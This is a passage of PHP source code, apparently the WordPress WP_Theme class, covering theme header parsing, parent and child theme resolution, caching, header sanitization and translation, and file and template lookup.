$theme_root ); } $this->cache_hash = md5( $this->theme_root . '/' . $this->stylesheet ); $theme_file = $this->stylesheet . '/style.css'; $cache = $this->cache_get( 'theme' ); if ( is_array( $cache ) ) { foreach ( array( 'block_template_folders', 'block_theme', 'errors', 'headers', 'template' ) as $key ) { if ( isset( $cache[ $key ] ) ) { $this->$key = $cache[ $key ]; } } if ( $this->errors ) { return; } if ( isset( $cache['theme_root_template'] ) ) { $theme_root_template = $cache['theme_root_template']; } } elseif ( ! file_exists( $this->theme_root . '/' . $theme_file ) ) { $this->headers['Name'] = $this->stylesheet; if ( ! file_exists( $this->theme_root . '/' . $this->stylesheet ) ) { $this->errors = new WP_Error( 'theme_not_found', sprintf( /* translators: %s: Theme directory name. */ __( 'The theme directory "%s" does not exist.' ), esc_html( $this->stylesheet ) ) ); } else { $this->errors = new WP_Error( 'theme_no_stylesheet', __( 'Stylesheet is missing.' ) ); } $this->template = $this->stylesheet; $this->block_theme = false; $this->block_template_folders = $this->default_template_folders; $this->cache_add( 'theme', array( 'block_template_folders' => $this->block_template_folders, 'block_theme' => $this->block_theme, 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); if ( ! file_exists( $this->theme_root ) ) { // Don't cache this one. $this->errors->add( 'theme_root_missing', __( '<strong>Error:</strong> The themes directory is either empty or does not exist. Please check your installation.' ) ); } return; } elseif ( ! is_readable( $this->theme_root . '/' . $theme_file ) ) { $this->headers['Name'] = $this->stylesheet; $this->errors = new WP_Error( 'theme_stylesheet_not_readable', __( 'Stylesheet is not readable.' ) ); $this->template = $this->stylesheet; $this->block_theme = false; $this->block_template_folders = $this->default_template_folders; $this->cache_add( 'theme', array( 'block_template_folders' => $this->block_template_folders, 'block_theme' => $this->block_theme, 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); return; } else { $this->headers = get_file_data( $this->theme_root . '/' . $theme_file, self::$file_headers, 'theme' ); /* * Default themes always trump their pretenders. * Properly identify default themes that are inside a directory within wp-content/themes. */ $default_theme_slug = array_search( $this->headers['Name'], self::$default_themes, true ); if ( $default_theme_slug ) { if ( basename( $this->stylesheet ) !== $default_theme_slug ) { $this->headers['Name'] .= '/' . $this->stylesheet; } } } if ( ! $this->template && $this->stylesheet === $this->headers['Template'] ) { $this->errors = new WP_Error( 'theme_child_invalid', sprintf( /* translators: %s: Template. */ __( 'The theme defines itself as its parent theme. Please check the %s header.' ), '<code>Template</code>' ) ); $this->cache_add( 'theme', array( 'block_template_folders' => $this->get_block_template_folders(), 'block_theme' => $this->is_block_theme(), 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, ) ); return; } // (If template is set from cache [and there are no errors], we know it's good.) if ( ! $this->template ) { $this->template = $this->headers['Template']; } if ( ! $this->template ) { $this->template = $this->stylesheet; $theme_path = $this->theme_root . '/' . $this->stylesheet; if ( ! $this->is_block_theme() && ! file_exists( $theme_path . '/index.php' ) ) { $error_message = sprintf( /* translators: 1: templates/index.html, 2: index.php, 3: Documentation URL, 4: Template, 5: style.css */ __( 'Template is missing. Standalone themes need to have a %1$s or %2$s template file. <a href="%3$s">Child themes</a> need to have a %4$s header in the %5$s stylesheet.' ), '<code>templates/index.html</code>', '<code>index.php</code>', __( 'https://developer.wordpress.org/themes/advanced-topics/child-themes/' ), '<code>Template</code>', '<code>style.css</code>' ); $this->errors = new WP_Error( 'theme_no_index', $error_message ); $this->cache_add( 'theme', array( 'block_template_folders' => $this->get_block_template_folders(), 'block_theme' => $this->block_theme, 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); return; } } // If we got our data from cache, we can assume that 'template' is pointing to the right place. if ( ! is_array( $cache ) && $this->template !== $this->stylesheet && ! file_exists( $this->theme_root . '/' . $this->template . '/index.php' ) ) { /* * If we're in a directory of themes inside /themes, look for the parent nearby. * wp-content/themes/directory-of-themes/* */ $parent_dir = dirname( $this->stylesheet ); $directories = search_theme_directories(); if ( '.' !== $parent_dir && file_exists( $this->theme_root . '/' . $parent_dir . '/' . $this->template . '/index.php' ) ) { $this->template = $parent_dir . '/' . $this->template; } elseif ( $directories && isset( $directories[ $this->template ] ) ) { /* * Look for the template in the search_theme_directories() results, in case it is in another theme root. * We don't look into directories of themes, just the theme root. */ $theme_root_template = $directories[ $this->template ]['theme_root']; } else { // Parent theme is missing. $this->errors = new WP_Error( 'theme_no_parent', sprintf( /* translators: %s: Theme directory name. */ __( 'The parent theme is missing. Please install the "%s" parent theme.' ), esc_html( $this->template ) ) ); $this->cache_add( 'theme', array( 'block_template_folders' => $this->get_block_template_folders(), 'block_theme' => $this->is_block_theme(), 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); $this->parent = new WP_Theme( $this->template, $this->theme_root, $this ); return; } } // Set the parent, if we're a child theme. if ( $this->template !== $this->stylesheet ) { // If we are a parent, then there is a problem. Only two generations allowed! Cancel things out. if ( $_child instanceof WP_Theme && $_child->template === $this->stylesheet ) { $_child->parent = null; $_child->errors = new WP_Error( 'theme_parent_invalid', sprintf( /* translators: %s: Theme directory name. */ __( 'The "%s" theme is not a valid parent theme.' ), esc_html( $_child->template ) ) ); $_child->cache_add( 'theme', array( 'block_template_folders' => $_child->get_block_template_folders(), 'block_theme' => $_child->is_block_theme(), 'headers' => $_child->headers, 'errors' => $_child->errors, 'stylesheet' => $_child->stylesheet, 'template' => $_child->template, ) ); // The two themes actually reference each other with the Template header. if ( $_child->stylesheet === $this->template ) { $this->errors = new WP_Error( 'theme_parent_invalid', sprintf( /* translators: %s: Theme directory name. */ __( 'The "%s" theme is not a valid parent theme.' ), esc_html( $this->template ) ) ); $this->cache_add( 'theme', array( 'block_template_folders' => $this->get_block_template_folders(), 'block_theme' => $this->is_block_theme(), 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ) ); } return; } // Set the parent. Pass the current instance so we can do the checks above and assess errors. $this->parent = new WP_Theme( $this->template, isset( $theme_root_template ) ? $theme_root_template : $this->theme_root, $this ); } if ( wp_paused_themes()->get( $this->stylesheet ) && ( ! is_wp_error( $this->errors ) || ! isset( $this->errors->errors['theme_paused'] ) ) ) { $this->errors = new WP_Error( 'theme_paused', __( 'This theme failed to load properly and was paused within the admin backend.' ) ); } // We're good. If we didn't retrieve from cache, set it. if ( ! is_array( $cache ) ) { $cache = array( 'block_theme' => $this->is_block_theme(), 'block_template_folders' => $this->get_block_template_folders(), 'headers' => $this->headers, 'errors' => $this->errors, 'stylesheet' => $this->stylesheet, 'template' => $this->template, ); // If the parent theme is in another root, we'll want to cache this. Avoids an entire branch of filesystem calls above. if ( isset( $theme_root_template ) ) { $cache['theme_root_template'] = $theme_root_template; } $this->cache_add( 'theme', $cache ); } } /** * When converting the object to a string, the theme name is returned. * * @since 3.4.0 * * @return string Theme name, ready for display (translated) */ public function __toString() { return (string) $this->display( 'Name' ); } /** * __isset() magic method for properties formerly returned by current_theme_info() * * @since 3.4.0 * * @param string $offset Property to check if set. * @return bool Whether the given property is set. */ public function __isset( $offset ) { static $properties = array( 'name', 'title', 'version', 'parent_theme', 'template_dir', 'stylesheet_dir', 'template', 'stylesheet', 'screenshot', 'description', 'author', 'tags', 'theme_root', 'theme_root_uri', ); return in_array( $offset, $properties, true ); } /** * __get() magic method for properties formerly returned by current_theme_info() * * @since 3.4.0 * * @param string $offset Property to get. * @return mixed Property value. */ public function __get( $offset ) { switch ( $offset ) { case 'name': case 'title': return $this->get( 'Name' ); case 'version': return $this->get( 'Version' ); case 'parent_theme': return $this->parent() ? $this->parent()->get( 'Name' ) : ''; case 'template_dir': return $this->get_template_directory(); case 'stylesheet_dir': return $this->get_stylesheet_directory(); case 'template': return $this->get_template(); case 'stylesheet': return $this->get_stylesheet(); case 'screenshot': return $this->get_screenshot( 'relative' ); // 'author' and 'description' did not previously return translated data. case 'description': return $this->display( 'Description' ); case 'author': return $this->display( 'Author' ); case 'tags': return $this->get( 'Tags' ); case 'theme_root': return $this->get_theme_root(); case 'theme_root_uri': return $this->get_theme_root_uri(); // For cases where the array was converted to an object. default: return $this->offsetGet( $offset ); } } /** * Method to implement ArrayAccess for keys formerly returned by get_themes() * * @since 3.4.0 * * @param mixed $offset * @param mixed $value */ #[ReturnTypeWillChange] public function offsetSet( $offset, $value ) {} /** * Method to implement ArrayAccess for keys formerly returned by get_themes() * * @since 3.4.0 * * @param mixed $offset */ #[ReturnTypeWillChange] public function offsetUnset( $offset ) {} /** * Method to implement ArrayAccess for keys formerly returned by get_themes() * * @since 3.4.0 * * @param mixed $offset * @return bool */ #[ReturnTypeWillChange] public function offsetExists( $offset ) { static $keys = array( 'Name', 'Version', 'Status', 'Title', 'Author', 'Author Name', 'Author URI', 'Description', 'Template', 'Stylesheet', 'Template Files', 'Stylesheet Files', 'Template Dir', 'Stylesheet Dir', 'Screenshot', 'Tags', 'Theme Root', 'Theme Root URI', 'Parent Theme', ); return in_array( $offset, $keys, true ); } /** * Method to implement ArrayAccess for keys formerly returned by get_themes(). * * Author, Author Name, Author URI, and Description did not previously return * translated data. We are doing so now as it is safe to do. However, as * Name and Title could have been used as the key for get_themes(), both remain * untranslated for back compatibility. This means that ['Name'] is not ideal, * and care should be taken to use `$theme::display( 'Name' )` to get a properly * translated header. * * @since 3.4.0 * * @param mixed $offset * @return mixed */ #[ReturnTypeWillChange] public function offsetGet( $offset ) { switch ( $offset ) { case 'Name': case 'Title': /* * See note above about using translated data. get() is not ideal. * It is only for backward compatibility. Use display(). */ return $this->get( 'Name' ); case 'Author': return $this->display( 'Author' ); case 'Author Name': return $this->display( 'Author', false ); case 'Author URI': return $this->display( 'AuthorURI' ); case 'Description': return $this->display( 'Description' ); case 'Version': case 'Status': return $this->get( $offset ); case 'Template': return $this->get_template(); case 'Stylesheet': return $this->get_stylesheet(); case 'Template Files': return $this->get_files( 'php', 1, true ); case 'Stylesheet Files': return $this->get_files( 'css', 0, false ); case 'Template Dir': return $this->get_template_directory(); case 'Stylesheet Dir': return $this->get_stylesheet_directory(); case 'Screenshot': return $this->get_screenshot( 'relative' ); case 'Tags': return $this->get( 'Tags' ); case 'Theme Root': return $this->get_theme_root(); case 'Theme Root URI': return $this->get_theme_root_uri(); case 'Parent Theme': return $this->parent() ? $this->parent()->get( 'Name' ) : ''; default: return null; } } /** * Returns errors property. * * @since 3.4.0 * * @return WP_Error|false WP_Error if there are errors, or false. */ public function errors() { return is_wp_error( $this->errors ) ? $this->errors : false; } /** * Determines whether the theme exists. * * A theme with errors exists. A theme with the error of 'theme_not_found', * meaning that the theme's directory was not found, does not exist. * * @since 3.4.0 * * @return bool Whether the theme exists. */ public function exists() { return ! ( $this->errors() && in_array( 'theme_not_found', $this->errors()->get_error_codes(), true ) ); } /** * Returns reference to the parent theme. * * @since 3.4.0 * * @return WP_Theme|false Parent theme, or false if the active theme is not a child theme. */ public function parent() { return isset( $this->parent ) ? $this->parent : false; } /** * Perform reinitialization tasks. * * Prevents a callback from being injected during unserialization of an object. */ public function __wakeup() { if ( $this->parent && ! $this->parent instanceof self ) { throw new UnexpectedValueException(); } if ( $this->headers && ! is_array( $this->headers ) ) { throw new UnexpectedValueException(); } foreach ( $this->headers as $value ) { if ( ! is_string( $value ) ) { throw new UnexpectedValueException(); } } $this->headers_sanitized = array(); } /** * Adds theme data to cache. * * Cache entries keyed by the theme and the type of data. * * @since 3.4.0 * * @param string $key Type of data to store (theme, screenshot, headers, post_templates) * @param array|string $data Data to store * @return bool Return value from wp_cache_add() */ private function cache_add( $key, $data ) { return wp_cache_add( $key . '-' . $this->cache_hash, $data, 'themes', self::$cache_expiration ); } /** * Gets theme data from cache. * * Cache entries are keyed by the theme and the type of data. * * @since 3.4.0 * * @param string $key Type of data to retrieve (theme, screenshot, headers, post_templates) * @return mixed Retrieved data */ private function cache_get( $key ) { return wp_cache_get( $key . '-' . $this->cache_hash, 'themes' ); } /** * Clears the cache for the theme. * * @since 3.4.0 */ public function cache_delete() { foreach ( array( 'theme', 'screenshot', 'headers', 'post_templates' ) as $key ) { wp_cache_delete( $key . '-' . $this->cache_hash, 'themes' ); } $this->template = null; $this->textdomain_loaded = null; $this->theme_root_uri = null; $this->parent = null; $this->errors = null; $this->headers_sanitized = null; $this->name_translated = null; $this->block_theme = null; $this->block_template_folders = null; $this->headers = array(); $this->__construct( $this->stylesheet, $this->theme_root ); $this->delete_pattern_cache(); } /** * Gets a raw, unformatted theme header. * * The header is sanitized, but is not translated, and is not marked up for display. * To get a theme header for display, use the display() method. * * Use the get_template() method, not the 'Template' header, for finding the template. * The 'Template' header is only good for what was written in the style.css, while * get_template() takes into account where WordPress actually located the theme and * whether it is actually valid. * * @since 3.4.0 * * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags. * @return string|array|false String or array (for Tags header) on success, false on failure. */ public function get( $header ) { if ( ! isset( $this->headers[ $header ] ) ) { return false; } if ( ! isset( $this->headers_sanitized ) ) { $this->headers_sanitized = $this->cache_get( 'headers' ); if ( ! is_array( $this->headers_sanitized ) ) { $this->headers_sanitized = array(); } } if ( isset( $this->headers_sanitized[ $header ] ) ) { return $this->headers_sanitized[ $header ]; } // If themes are a persistent group, sanitize everything and cache it. One cache add is better than many cache sets. if ( self::$persistently_cache ) { foreach ( array_keys( $this->headers ) as $_header ) { $this->headers_sanitized[ $_header ] = $this->sanitize_header( $_header, $this->headers[ $_header ] ); } $this->cache_add( 'headers', $this->headers_sanitized ); } else { $this->headers_sanitized[ $header ] = $this->sanitize_header( $header, $this->headers[ $header ] ); } return $this->headers_sanitized[ $header ]; } /** * Gets a theme header, formatted and translated for display. * * @since 3.4.0 * * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags. * @param bool $markup Optional. Whether to mark up the header. Defaults to true. * @param bool $translate Optional. Whether to translate the header. Defaults to true. * @return string|array|false Processed header. An array for Tags if `$markup` is false, string otherwise. * False on failure. */ public function display( $header, $markup = true, $translate = true ) { $value = $this->get( $header ); if ( false === $value ) { return false; } if ( $translate && ( empty( $value ) || ! $this->load_textdomain() ) ) { $translate = false; } if ( $translate ) { $value = $this->translate_header( $header, $value ); } if ( $markup ) { $value = $this->markup_header( $header, $value, $translate ); } return $value; } /** * Sanitizes a theme header. * * @since 3.4.0 * @since 5.4.0 Added support for `Requires at least` and `Requires PHP` headers. * @since 6.1.0 Added support for `Update URI` header. * * @param string $header Theme header. Accepts 'Name', 'Description', 'Author', 'Version', * 'ThemeURI', 'AuthorURI', 'Status', 'Tags', 'RequiresWP', 'RequiresPHP', * 'UpdateURI'. * @param string $value Value to sanitize. * @return string|array An array for Tags header, string otherwise. */ private function sanitize_header( $header, $value ) { switch ( $header ) { case 'Status': if ( ! $value ) { $value = 'publish'; break; } // Fall through otherwise. case 'Name': static $header_tags = array( 'abbr' => array( 'title' => true ), 'acronym' => array( 'title' => true ), 'code' => true, 'em' => true, 'strong' => true, ); $value = wp_kses( $value, $header_tags ); break; case 'Author': // There shouldn't be anchor tags in Author, but some themes like to be challenging. case 'Description': static $header_tags_with_a = array( 'a' => array( 'href' => true, 'title' => true, ), 'abbr' => array( 'title' => true ), 'acronym' => array( 'title' => true ), 'code' => true, 'em' => true, 'strong' => true, ); $value = wp_kses( $value, $header_tags_with_a ); break; case 'ThemeURI': case 'AuthorURI': $value = sanitize_url( $value ); break; case 'Tags': $value = array_filter( array_map( 'trim', explode( ',', strip_tags( $value ) ) ) ); break; case 'Version': case 'RequiresWP': case 'RequiresPHP': case 'UpdateURI': $value = strip_tags( $value ); break; } return $value; } /** * Marks up a theme header. * * @since 3.4.0 * * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags. * @param string|array $value Value to mark up. An array for Tags header, string otherwise. * @param string $translate Whether the header has been translated. * @return string Value, marked up. */ private function markup_header( $header, $value, $translate ) { switch ( $header ) { case 'Name': if ( empty( $value ) ) { $value = esc_html( $this->get_stylesheet() ); } break; case 'Description': $value = wptexturize( $value ); break; case 'Author': if ( $this->get( 'AuthorURI' ) ) { $value = sprintf( '<a href="%1$s">%2$s</a>', $this->display( 'AuthorURI', true, $translate ), $value ); } elseif ( ! $value ) { $value = __( 'Anonymous' ); } break; case 'Tags': static $comma = null; if ( ! isset( $comma ) ) { $comma = wp_get_list_item_separator(); } $value = implode( $comma, $value ); break; case 'ThemeURI': case 'AuthorURI': $value = esc_url( $value ); break; } return $value; } /** * Translates a theme header. * * @since 3.4.0 * * @param string $header Theme header. Name, Description, Author, Version, ThemeURI, AuthorURI, Status, Tags. * @param string|array $value Value to translate. An array for Tags header, string otherwise. * @return string|array Translated value. An array for Tags header, string otherwise. */ private function translate_header( $header, $value ) { switch ( $header ) { case 'Name': // Cached for sorting reasons. if ( isset( $this->name_translated ) ) { return $this->name_translated; } // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain $this->name_translated = translate( $value, $this->get( 'TextDomain' ) ); return $this->name_translated; case 'Tags': if ( empty( $value ) || ! function_exists( 'get_theme_feature_list' ) ) { return $value; } static $tags_list; if ( ! isset( $tags_list ) ) { $tags_list = array( // As of 4.6, deprecated tags which are only used to provide translation for older themes. 'black' => __( 'Black' ), 'blue' => __( 'Blue' ), 'brown' => __( 'Brown' ), 'gray' => __( 'Gray' ), 'green' => __( 'Green' ), 'orange' => __( 'Orange' ), 'pink' => __( 'Pink' ), 'purple' => __( 'Purple' ), 'red' => __( 'Red' ), 'silver' => __( 'Silver' ), 'tan' => __( 'Tan' ), 'white' => __( 'White' ), 'yellow' => __( 'Yellow' ), 'dark' => _x( 'Dark', 'color scheme' ), 'light' => _x( 'Light', 'color scheme' ), 'fixed-layout' => __( 'Fixed Layout' ), 'fluid-layout' => __( 'Fluid Layout' ), 'responsive-layout' => __( 'Responsive Layout' ), 'blavatar' => __( 'Blavatar' ), 'photoblogging' => __( 'Photoblogging' ), 'seasonal' => __( 'Seasonal' ), ); $feature_list = get_theme_feature_list( false ); // No API. foreach ( $feature_list as $tags ) { $tags_list += $tags; } } foreach ( $value as &$tag ) { if ( isset( $tags_list[ $tag ] ) ) { $tag = $tags_list[ $tag ]; } elseif ( isset( self::$tag_map[ $tag ] ) ) { $tag = $tags_list[ self::$tag_map[ $tag ] ]; } } return $value; default: // phpcs:ignore WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText,WordPress.WP.I18n.NonSingularStringLiteralDomain $value = translate( $value, $this->get( 'TextDomain' ) ); } return $value; } /** * Returns the directory name of the theme's "stylesheet" files, inside the theme root. * * In the case of a child theme, this is directory name of the child theme. * Otherwise, get_stylesheet() is the same as get_template(). * * @since 3.4.0 * * @return string Stylesheet */ public function get_stylesheet() { return $this->stylesheet; } /** * Returns the directory name of the theme's "template" files, inside the theme root. * * In the case of a child theme, this is the directory name of the parent theme. * Otherwise, the get_template() is the same as get_stylesheet(). * * @since 3.4.0 * * @return string Template */ public function get_template() { return $this->template; } /** * Returns the absolute path to the directory of a theme's "stylesheet" files. * * In the case of a child theme, this is the absolute path to the directory * of the child theme's files. * * @since 3.4.0 * * @return string Absolute path of the stylesheet directory. */ public function get_stylesheet_directory() { if ( $this->errors() && in_array( 'theme_root_missing', $this->errors()->get_error_codes(), true ) ) { return ''; } return $this->theme_root . '/' . $this->stylesheet; } /** * Returns the absolute path to the directory of a theme's "template" files. * * In the case of a child theme, this is the absolute path to the directory * of the parent theme's files. * * @since 3.4.0 * * @return string Absolute path of the template directory. */ public function get_template_directory() { if ( $this->parent() ) { $theme_root = $this->parent()->theme_root; } else { $theme_root = $this->theme_root; } return $theme_root . '/' . $this->template; } /** * Returns the URL to the directory of a theme's "stylesheet" files. * * In the case of a child theme, this is the URL to the directory of the * child theme's files. * * @since 3.4.0 * * @return string URL to the stylesheet directory. */ public function get_stylesheet_directory_uri() { return $this->get_theme_root_uri() . '/' . str_replace( '%2F', '/', rawurlencode( $this->stylesheet ) ); } /** * Returns the URL to the directory of a theme's "template" files. * * In the case of a child theme, this is the URL to the directory of the * parent theme's files. * * @since 3.4.0 * * @return string URL to the template directory. */ public function get_template_directory_uri() { if ( $this->parent() ) { $theme_root_uri = $this->parent()->get_theme_root_uri(); } else { $theme_root_uri = $this->get_theme_root_uri(); } return $theme_root_uri . '/' . str_replace( '%2F', '/', rawurlencode( $this->template ) ); } /** * Returns the absolute path to the directory of the theme root. * * This is typically the absolute path to wp-content/themes. * * @since 3.4.0 * * @return string Theme root. */ public function get_theme_root() { return $this->theme_root; } /** * Returns the URL to the directory of the theme root. * * This is typically the absolute URL to wp-content/themes. This forms the basis * for all other URLs returned by WP_Theme, so we pass it to the public function * get_theme_root_uri() and allow it to run the {@see 'theme_root_uri'} filter. * * @since 3.4.0 * * @return string Theme root URI. */ public function get_theme_root_uri() { if ( ! isset( $this->theme_root_uri ) ) { $this->theme_root_uri = get_theme_root_uri( $this->stylesheet, $this->theme_root ); } return $this->theme_root_uri; } /** * Returns the main screenshot file for the theme. * * The main screenshot is called screenshot.png. gif and jpg extensions are also allowed. * * Screenshots for a theme must be in the stylesheet directory. (In the case of child * themes, parent theme screenshots are not inherited.) * * @since 3.4.0 * * @param string $uri Type of URL to return, either 'relative' or an absolute URI. Defaults to absolute URI. * @return string|false Screenshot file. False if the theme does not have a screenshot. */ public function get_screenshot( $uri = 'uri' ) { $screenshot = $this->cache_get( 'screenshot' ); if ( $screenshot ) { if ( 'relative' === $uri ) { return $screenshot; } return $this->get_stylesheet_directory_uri() . '/' . $screenshot; } elseif ( 0 === $screenshot ) { return false; } foreach ( array( 'png', 'gif', 'jpg', 'jpeg', 'webp', 'avif' ) as $ext ) { if ( file_exists( $this->get_stylesheet_directory() . "/screenshot.$ext" ) ) { $this->cache_add( 'screenshot', 'screenshot.' . $ext ); if ( 'relative' === $uri ) { return 'screenshot.' . $ext; } return $this->get_stylesheet_directory_uri() . '/' . 'screenshot.' . $ext; } } $this->cache_add( 'screenshot', 0 ); return false; } /** * Returns files in the theme's directory. * * @since 3.4.0 * * @param string[]|string $type Optional. Array of extensions to find, string of a single extension, * or null for all extensions. Default null. * @param int $depth Optional. How deep to search for files. Defaults to a flat scan (0 depth). * -1 depth is infinite. * @param bool $search_parent Optional. Whether to return parent files. Default false. * @return string[] Array of files, keyed by the path to the file relative to the theme's directory, with the values * being absolute paths. */ public function get_files( $type = null, $depth = 0, $search_parent = false ) { $files = (array) self::scandir( $this->get_stylesheet_directory(), $type, $depth ); if ( $search_parent && $this->parent() ) { $files += (array) self::scandir( $this->get_template_directory(), $type, $depth ); } return array_filter( $files ); } /** * Returns the theme's post templates. * * @since 4.7.0 * @since 5.8.0 Include block templates. * * @return array[] Array of page template arrays, keyed by post type and filename, * with the value of the translated header name. */ public function get_post_templates() { // If you screw up your active theme and we invalidate your parent, most things still work. Let it slide. if ( $this->errors() && $this->errors()->get_error_codes() !== array( 'theme_parent_invalid' ) ) { return array(); } $post_templates = $this->cache_get( 'post_templates' ); if ( ! is_array( $post_templates ) ) { $post_templates = array(); $files = (array) $this->get_files( 'php', 1, true ); foreach ( $files as $file => $full_path ) { if ( ! preg_match( '|Template Name:(.*)$|mi', file_get_contents( $full_path ), $header ) ) { continue; } $types = array( 'page' ); if ( preg_match( '|Template Post Type:(.*)$|mi', file_get_contents( $full_path ), $type ) ) { $types = explode( ',', _cleanup_header_comment( $type[1] ) ); } foreach ( $types as $type ) { $type = sanitize_key( $type ); if ( ! isset( $post_templates[ $type ] ) ) { $post_templates[ $type ] = array(); } $post_templates[ $type ][ $file ] = _cleanup_header_comment( $header[1] ); } } $this->cache_add( 'post_templates', $post_templates ); } if ( current_theme_supports( 'block-templates' ) ) { $block_templates = get_block_templates( array(), 'wp_template' ); foreach ( get_post_types( array( 'public' => true ) ) as $type ) { foreach ( $block_templates as $block_template ) { if ( ! $block_template->is_custom ) { continue; } if ( isset( $block_template->post_types ) && ! in_array( $type, $block_template->post_types, true ) ) { continue; } $post_templates[ $type ][ $block_template->slug ] = $block_template->title; } } } if ( $this->load_textdomain() ) { foreach ( $post_templates as &$post_type ) { foreach ( $post_type as &$post_template ) { $post_template = $this->translate_header( 'Template Name', $post_template ); } } } return $post_templates; } /** * Returns the theme's post templates for a given post type. * * @since 3.4.0 * @since 4.7.0 Added the `$post_type` parameter. * * @param WP_Post|null $post Optional. The post being edited, provided for context. * @param string $post_type Optional. Post type to get the templates for. Default 'page'. * If a post is provided, its post type is used. * @return string[] Array of template header names keyed by the template file name. */ public function get_page_templates( $post = null, $post_type = 'page' ) { if ( $post ) { $post_type = get_post_type( $post ); } $post_templates = $this->get_post_templates(); $post_templates = isset( $post_templates[ $post_type ] ) ? $post_templates[ $post_type ] : array(); /** * Filters list of page templates for a theme. * * @since 4.9.6 * * @param string[] $post_templates Array of template header names keyed by the template file name. * @param WP_Theme $theme The theme object. * @param WP_Post|null $post The post being edited, provided for context, or null. * @param string $post_type Post type to get the templates for. */ $post_templates = (array) apply_filters( 'theme_templates', $post_templates, $this, $post, $post_type ); /** * Filters list of page templates for a theme. * * The dynamic portion of the hook name, `$post_type`, refers to the post type. * * Possible hook names include: * * - `theme_post_templates` * - `theme_page_templates` * - `theme_attachment_templates` * * @since 3.9.0 * @since 4.4.0 Converted to allow complete control over the `$page_templates` array. * @since 4.7.0 Added the `$post_type` parameter. * * @param string[] $post_templates Array of template header names keyed by the template file name. * @param WP_Theme $theme The theme object. * @param WP_Post|null $post The post being edited, provided for context, or null. * @param string $post_type Post type to get the templates for. */ $post_templates = (array) apply_filters( "theme_{$post_type}_templates", $post_templates, $this, $post, $post_type ); return $post_templates; } /** * Scans a directory for files of a certain extension. * * @since 3.4.0 * * @param string $path Absolute path to search. * @param array|string|null $extensions Optional. Array of extensions to find, string of a single extension, * or null for all extensions. Default null. * @param int $depth Optional. How many levels deep to search for files. Accepts 0, 1+, or * -1 (infinite depth). Default 0. * @param string $relative_path Optional. The basename of the absolute path. Used to control the * returned path for the found files, particularly when this function * recurses to lower depths. Default empty. * @return string[]|false Array of files, keyed by the path to the file relative to the `$path` directory prepended * with `$relative_path`, with the values being absolute paths. False otherwise. */ private static function scandir( $path, $extensions = null, $depth = 0, $relative_path = '' ) { if ( ! is_dir( $path ) ) { return false; } if ( $extensions ) { $extensions = (array) $extensions; $_extensions = implode( '|', $extensions ); } $relative_path = trailingslashit( $relative_path ); if ( '/' === $relative_path ) { $relative_path = ''; } $results = scandir( $path ); $files = array(); /** * Filters the array of excluded directories and files while scanning theme folder. * * @since 4.7.4 * * @param string[] $exclusions Array of excluded directories and files. */ $exclusions = (array) apply_filters( 'theme_scandir_exclusions', array( 'CVS', 'node_modules', 'vendor', 'bower_components' ) ); foreach ( $results as $result ) { if ( '.' === $result[0] || in_array( $result, $exclusions, true ) ) { continue; } if ( is_dir( $path . '/' . $result ) ) { if ( ! $depth ) { continue; } $found = self::scandir( $path . '/' . $result, $extensions, $depth - 1, $relative_path . $result ); $files = array_merge_recursive( $files, $found ); } elseif ( ! $extensions || preg_match( '~\.(' . $_extensions . ')$~', $result ) ) { $files[ $relative_path . $result ] = $path . '/' . $result; } } return $files; } /** * Loads the theme's textdomain. * * Translation files are not inherited from the parent theme. TODO: If this fails for the * child theme, it should probably try to load the parent theme's translations. * * @since 3.4.0 * * @return bool True if the textdomain was successfully loaded or has already been loaded. * False if no textdomain was specified in the file headers, or if the domain could not be loaded. */ public function load_textdomain() { if ( isset( $this->textdomain_loaded ) ) { return $this->textdomain_loaded; } $textdomain = $this->get( 'TextDomain' ); if ( ! $textdomain ) { $this->textdomain_loaded = false; return false; } if ( is_textdomain_loaded( $textdomain ) ) { $this->textdomain_loaded = true; return true; } $path = $this->get_stylesheet_directory(); $domainpath = $this->get( 'DomainPath' ); if ( $domainpath ) { $path .= $domainpath; } else { $path .= '/languages'; } $this->textdomain_loaded = load_theme_textdomain( $textdomain, $path ); return $this->textdomain_loaded; } /** * Determines whether the theme is allowed (multisite only). * * @since 3.4.0 * * @param string $check Optional. Whether to check only the 'network'-wide settings, the 'site' * settings, or 'both'. Defaults to 'both'. * @param int $blog_id Optional. Ignored if only network-wide settings are checked. Defaults to current site. * @return bool Whether the theme is allowed for the network. Returns true in single-site. */ public function is_allowed( $check = 'both', $blog_id = null ) { if ( ! is_multisite() ) { return true; } if ( 'both' === $check || 'network' === $check ) { $allowed = self::get_allowed_on_network(); if ( ! empty( $allowed[ $this->get_stylesheet() ] ) ) { return true; } } if ( 'both' === $check || 'site' === $check ) { $allowed = self::get_allowed_on_site( $blog_id ); if ( ! empty( $allowed[ $this->get_stylesheet() ] ) ) { return true; } } return false; } /** * Returns whether this theme is a block-based theme or not. * * @since 5.9.0 * * @return bool */ public function is_block_theme() { if ( isset( $this->block_theme ) ) { return $this->block_theme; } $paths_to_index_block_template = array( $this->get_file_path( '/templates/index.html' ), $this->get_file_path( '/block-templates/index.html' ), ); $this->block_theme = false; foreach ( $paths_to_index_block_template as $path_to_index_block_template ) { if ( is_file( $path_to_index_block_template ) && is_readable( $path_to_index_block_template ) ) { $this->block_theme = true; break; } } return $this->block_theme; } /** * Retrieves the path of a file in the theme. * * Searches in the stylesheet directory before the template directory so themes * which inherit from a parent theme can just override one file. * * @since 5.9.0 * * @param string $file Optional. File to search for in the stylesheet directory. * @return string The path of the file. */ public function get_file_path( $file = '' ) { $file = ltrim( $file, '/' ); $stylesheet_directory = $this->get_stylesheet_directory(); $template_directory = $this->get_template_directory(); if ( 